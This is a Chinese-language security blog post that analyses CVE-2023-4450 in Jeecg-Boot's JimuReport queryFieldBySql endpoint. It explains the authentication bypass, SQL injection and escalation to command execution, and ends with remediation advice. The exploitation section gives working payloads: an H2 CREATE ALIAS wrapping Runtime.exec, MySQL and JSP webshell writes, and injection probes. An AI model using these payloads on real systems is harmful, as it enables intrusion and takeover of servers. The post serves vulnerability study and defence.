CVE-2023-4450漏洞剖析:从SQL注入到RCE的权限绕过攻击链
1. 项目概述从一次内部安全审计说起前段时间公司内部进行常规的代码安全审计我负责检查几个基于流行低代码平台开发的后台管理系统。当扫描到其中一个使用Jeecg-Boot框架并集成了其官方报表模块“积木报表”的系统时一个看似普通的接口引起了我的注意queryFieldBySql。这个接口的名字直白地揭示了它的功能——通过SQL语句查询字段。在低代码或报表系统中为了支持动态、灵活的报表生成提供执行自定义SQL的能力并不罕见但关键在于如何安全地实现它。随着审计的深入一个被标记为CVE-2023-4450的高危漏洞浮出水面其核心正是这个接口的权限绕过与代码注入问题最终可导致远程命令执行。这个漏洞的巧妙之处在于它并非一个简单的SQL注入而是通过框架自身的特性将数据查询能力“升级”为了系统命令执行能力危害极大。今天我就结合当时的审计、分析和复现过程把这个漏洞的来龙去脉、技术原理、实战利用手法以及修复方案给大家掰开揉碎了讲清楚。无论你是安全研究人员、红队队员还是负责系统开发的工程师理解这个漏洞都能帮你更好地认识低代码平台背后的安全风险。2. 漏洞背景与影响范围解析2.1 Jeecg-Boot与积木报表是什么在深入漏洞之前有必要先了解一下涉事的主角。Jeecg-Boot是一款基于Spring Boot的国产开源低代码开发平台它提供了大量的代码生成器、通用组件和可视化设计器旨在帮助开发者快速构建企业级后台管理系统。由于其“开箱即用”的特性在国内中小型企业的内部管理系统开发中应用非常广泛。积木报表JimuReport是Jeecg-Boot官方集成的一个可视化报表设计工具也可以独立部署。它允许用户通过拖拽的方式像搭积木一样设计各种复杂的报表并支持通过SQL、API等多种方式获取数据。queryFieldBySql接口就是积木报表为方便设计器动态获取数据库表结构、字段信息而提供的一个后端API。2.2 CVE-2023-4450漏洞核心该漏洞的官方描述是Jeecg-Boot 积木报表模块的queryFieldBySql接口存在权限绕过和SQL注入攻击者可以利用此漏洞执行任意SQL语句在特定条件下进一步导致远程命令执行。这里需要拆解出三个关键点权限绕过该接口本应受到严格的权限控制只有授权用户如报表管理员才能调用。但漏洞存在使得未授权或低权限用户也能访问。SQL注入接口参数接收用户输入的SQL语句片段但未进行充分的过滤和校验导致攻击者可以注入恶意SQL代码。RCE升级这是漏洞危害被放大的关键。单纯的SQL注入可能只影响数据库但在Jeecg-Boot默认集成的某些数据库驱动或配置下特别是H2数据库控制台未禁用时通过执行特定的SQL语句可以调用Java函数从而写入Webshell或直接执行操作系统命令实现从数据库层到应用服务器层的权限跨越。影响版本主要影响 Jeecg-Boot 3.5.0 及之前版本中集成的积木报表模块。独立部署的积木报表若版本对应同样受影响。影响范围所有使用了受影响版本Jeecg-Boot并启用了积木报表功能的系统。由于Jeecg-Boot多用于内网管理系统一旦被突破攻击者可能直接获取内网核心数据和应用服务器控制权风险等级非常高。3. 漏洞原理深度剖析要理解这个漏洞我们需要沿着攻击链从接口访问到最终命令执行一层层看下去。3.1 接口权限控制缺失分析在Spring Boot应用中接口权限通常通过注解如PreAuthorize、RequiresRoles或拦截器、过滤器来实现。审计发现存在漏洞的版本中queryFieldBySql接口对应的控制器方法上权限校验注解可能缺失或配置不当。例如正常的接口应该类似PostMapping(/queryFieldBySql) PreAuthorize(hasRole(report_admin)) // 必须具有报表管理员角色 public Result? queryFieldBySql(RequestBody MapString, String params) { // ... 业务逻辑 }而在漏洞版本中可能缺少了PreAuthorize注解或者该注解配置的权限表达式过于宽松如permitAll()导致Spring Security的拦截机制在此处失效。这使得攻击者无需登录或者使用任意低权限账号登录后即可直接向该接口发送请求。实操心得在审计低代码平台或类似框架时要特别关注那些提供“动态”、“自定义”、“执行”功能的接口如execSql、runScript、dynamicQuery等。这些接口往往是功能强大但安全风险最高的地方第一检查项就是权限控制是否到位。3.2 SQL注入点与利用链构造即使接口可访问它通常也需要参数。假设接口接收一个JSON参数{sql: select * from sys_user}后端代码可能会这样处理简化模型String userSql params.get(sql); // 危险操作直接拼接或使用非预编译方式执行 String fullSql SELECT COLUMN_NAME, DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE userSql; jdbcTemplate.query(fullSql, ...);或者框架为了“灵活”允许传入一个接近完整的SQL查询片段。攻击者可以不再局限于查询字段信息而是注入任意SQL语句。例如将参数设置为{ sql: TABLE_SCHEMApublic UNION SELECT 恶意载荷, test FROM DUAL-- }这样就能执行UNION查询将任意数据恶意载荷返回给前端。但此时还只是数据窃取或篡改。3.3 从SQL注入到RCE的关键跳跃这是本漏洞最精彩也最危险的部分。在Java中通过JDBC执行SQL通常无法直接执行系统命令。但是一些数据库提供了扩展功能允许在SQL中调用特定的函数。场景一利用H2数据库的CREATE ALIAS功能Jeecg-Boot早期版本或某些演示环境可能将H2作为内嵌数据库。H2数据库有一个强大的特性CREATE ALIAS可以创建指向Java静态方法的别名。攻击者可以构造如下SQL注入; CREATE ALIAS EXEC_COMMAND AS $$ String exec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\\A).next(); } $$; CALL EXEC_COMMAND(calc.exe)--这条语句先创建一个名为EXEC_COMMAND的别名其实现是执行系统命令并返回结果。然后立即调用它执行calc.exe。如果应用使用H2数据库且运行在Windows上计算器就会被弹出。通过此方法可以执行任意命令。场景二利用MySQL的SELECT ... INTO OUTFILE写文件如果后端数据库是MySQL且MySQL服务进程对Web目录有写权限攻击者可以利用SQL注入执行; SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php--这会将一句话木马写入Web目录从而获得一个Webshell。但这依赖于secure_file_priv数据库配置和文件系统权限。场景三利用PostgreSQL的COPY ... FROM PROGRAM或大对象操作PostgreSQL的COPY命令可以从程序输出中读取数据PROGRAM关键字可以执行系统命令。或者利用大对象和lo_export函数结合pg_largeobject系统表向服务器文件系统写入二进制数据如Webshell。核心原理漏洞的RCE部分严重依赖于数据库特性和应用配置。攻击者通过SQL注入获得了执行任意SQL的能力进而利用数据库本身提供的、能够与操作系统或文件系统交互的高级功能将攻击面从数据库层延伸到了服务器层。这提醒我们防止SQL注入不仅是防止数据泄露更是防止后续更严重的“跳板”攻击。4. 实战利用与漏洞复现为了更直观地理解漏洞的危害我们搭建一个受影响的测试环境进行复现。请注意此操作仅限授权下的安全测试或学习环境严禁用于非法攻击。4.1 环境搭建与目标识别获取目标从官方仓库下载一个存在漏洞的Jeecg-Boot版本例如3.4.0。使用Docker或本地运行。git clone https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot git checkout v3.4.0 # 切换到漏洞版本按照项目文档配置数据库为了演示RCE这里可以选择H2或MySQL并启动应用。识别接口启动后通过浏览器开发者工具F12的“网络”选项卡观察报表设计器页面的请求。通常涉及数据源、字段查询的请求会发送到/jmreport/或/jeecg-boot/jmreport/路径下。寻找类似queryFieldBySql的请求端点。也可以直接通过Swagger UI如果开启查找接口常见路径为/jeecg-boot/sys/dynamic/queryFieldBySql。4.2 权限绕过验证使用Burp Suite或Postman等工具直接向识别出的接口地址发送POST请求不携带任何认证Token或Cookie。POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1 Host: target.com Content-Type: application/json {sql: select 1}如果返回了类似{success:true, result:...}的数据而不是{code: 401, message:未授权}则证明权限绕过存在。4.3 SQL注入验证与信息收集确认接口可访问后开始测试SQL注入。使用经典的探测Payload{ sql: 1 AND 11 }和{ sql: 1 AND 12 }观察返回结果是否不同。或者使用时间盲注Payload{ sql: 1 AND SLEEP(5)-- }观察响应是否延迟5秒。如果存在注入就可以利用联合查询获取数据库信息{ sql: 1 UNION SELECT version(), database()-- }目标是获取数据库类型MySQL, PostgreSQL, H2等和版本这对后续选择RCE利用方式至关重要。4.4 RCE利用实战以H2数据库为例假设探测出目标使用H2数据库且应用运行在Linux服务器上。步骤1创建执行命令的Java函数别名构造Payload注意JSON格式中的引号需要转义。{ sql: 1; CREATE ALIAS EXEC_SHELL AS $$ String exec(String c) throws java.io.IOException { java.util.Scanner s new java.util.Scanner(Runtime.getRuntime().exec(c).getInputStream()).useDelimiter(\\\\\A\); return s.hasNext() ? s.next() : \\; } $$;-- }发送此请求如果成功会在H2数据库中创建一个名为EXEC_SHELL的函数。步骤2执行系统命令调用刚刚创建的函数执行命令例如查看当前用户和目录。{ sql: 1; CALL EXEC_SHELL(id pwd)-- }如果漏洞存在且环境允许响应中可能会包含命令执行的结果如uid1001(app) gid1001(app) groups1001(app) /app。步骤3写入Webshell备选方案如果直接回显受限可以尝试写文件。首先确认Web路径可以通过执行find / -name \*.jsp\ 2/dev/null | head -5来寻找。假设找到路径/opt/jeecg-boot/webapps/ROOT。{ sql: 1; CALL EXEC_SHELL(echo \%7*7%\ /opt/jeecg-boot/webapps/ROOT/test.jsp)-- }然后访问http://target.com/test.jsp如果显示49则说明写入成功。可以进一步写入更复杂的木马。注意事项实际利用时Payload需要根据目标的数据库类型、操作系统、Java版本进行微调。H2的CREATE ALIAS功能在较新版本中默认可能受到限制但在历史版本或特定配置下仍可用。利用过程可能会产生大量错误日志容易被发现。某些环境下JDBC连接可能没有执行DDL如CREATE ALIAS的权限需要尝试其他方法。5. 漏洞修复与安全加固建议对于开发者和运维人员如果正在使用受影响版本必须立即采取行动。5.1 官方补丁升级最直接有效的方法是升级Jeecg-Boot框架和积木报表组件到已修复的安全版本。请关注Jeecg官方GitHub仓库的Release和安全公告获取最新的补丁版本进行升级。5.2 临时缓解措施如果无法立即升级可以采取以下紧急措施接口权限加固在queryFieldBySql接口对应的Java方法上添加严格的权限注解。确保只有必要的管理员角色才能访问。PostMapping(/queryFieldBySql) PreAuthorize(hasRole(super_admin)) // 使用最高权限或专属报表管理角色 public Result? queryFieldBySql(RequestBody MapString, String params) { // ... }并检查Spring Security的全局配置确保该接口路径未被意外放行。输入严格过滤与白名单在接口业务逻辑中对传入的sql参数进行严格校验。由于该接口的设计目的是查询字段信息其输入的SQL模式相对固定通常是查询INFORMATION_SCHEMA.COLUMNS或特定表结构。可以建立白名单机制只允许匹配特定模式的SQL片段例如只允许包含SELECT、FROM、WHERE、等有限关键字和操作符且完全禁止UNION、;、--、CREATE、DROP、EXEC等危险关键字和符号。可以使用正则表达式进行匹配。禁用危险数据库功能对于H2在生产环境中绝对不要使用H2数据库。如果必须用确保禁用HTTP控制台spring.h2.console.enabledfalse和严格检查数据库连接URL避免启用;MODEMySQL等兼容模式带来的额外风险。对于MySQL设置secure_file_priv为NULL或一个非Web目录的安全路径禁用INTO OUTFILE功能。对于PostgreSQL使用最低权限的数据库用户撤销其执行系统命令或写文件的权限如pg_read_server_files,pg_write_server_files,pg_execute_server_program等角色权限。5.3 长期安全开发规范最小权限原则应用程序连接数据库的账号只授予其完成业务所必需的最小权限SELECT, INSERT, UPDATE, DELETE坚决不授予CREATE, DROP, ALTER, FILE, PROCESS等高级权限。使用预编译语句PreparedStatement这是防止SQL注入的黄金法则。确保所有用户输入都作为参数传递而不是字符串拼接。避免动态执行用户输入的代码无论是SQL、脚本还是模板只要涉及执行就必须有沙箱机制或严格的沙盒环境。依赖组件安全扫描定期使用SCA工具扫描项目依赖及时更新存在已知漏洞的第三方库。纵深防御在WAFWeb应用防火墙或网关层面配置规则拦截对可疑接口如包含exec、sql、query等关键词的路径的未授权访问和常见的SQL注入、命令注入攻击特征。6. 漏洞挖掘与审计的思考回过头看CVE-2023-4450的挖掘过程给了我们很多启示。它不是一个复杂的零日漏洞而是由多个“小问题”组合成的“大风险”。关注“强大”的接口低代码平台为了灵活性往往会暴露一些功能强大的API。审计时应优先审查这些接口的权限校验、输入验证和执行上下文。理解技术栈的“副作用”很多RCE漏洞不是直接的系统调用而是通过中间件、数据库的特性“曲线救国”。安全人员需要熟悉常见技术栈如Spring Boot, H2, MySQL, PostgreSQL的“危险特性”。黑盒与白盒结合黑盒测试可以发现接口未授权访问和简单的注入点。但要理清完整的利用链尤其是像这种需要特定数据库功能才能RCE的情况结合源代码审计白盒分析其数据处理流程和依赖库效率会高得多。漏洞的连锁反应权限绕过让攻击者能够触及接口SQL注入提供了执行任意SQL的能力数据库特性滥用则将SQL执行权转化为系统命令执行权。这是一个典型的“漏洞链”。在防御时打断其中任何一环都能有效降低风险。这个漏洞的修复本质上是对低代码平台“便捷性”与“安全性”之间平衡的一次重要修正。它提醒所有开发者在提供强大灵活性的同时必须筑起坚固的安全边界因为攻击者总会寻找那条你未曾设防的路径。

相关新闻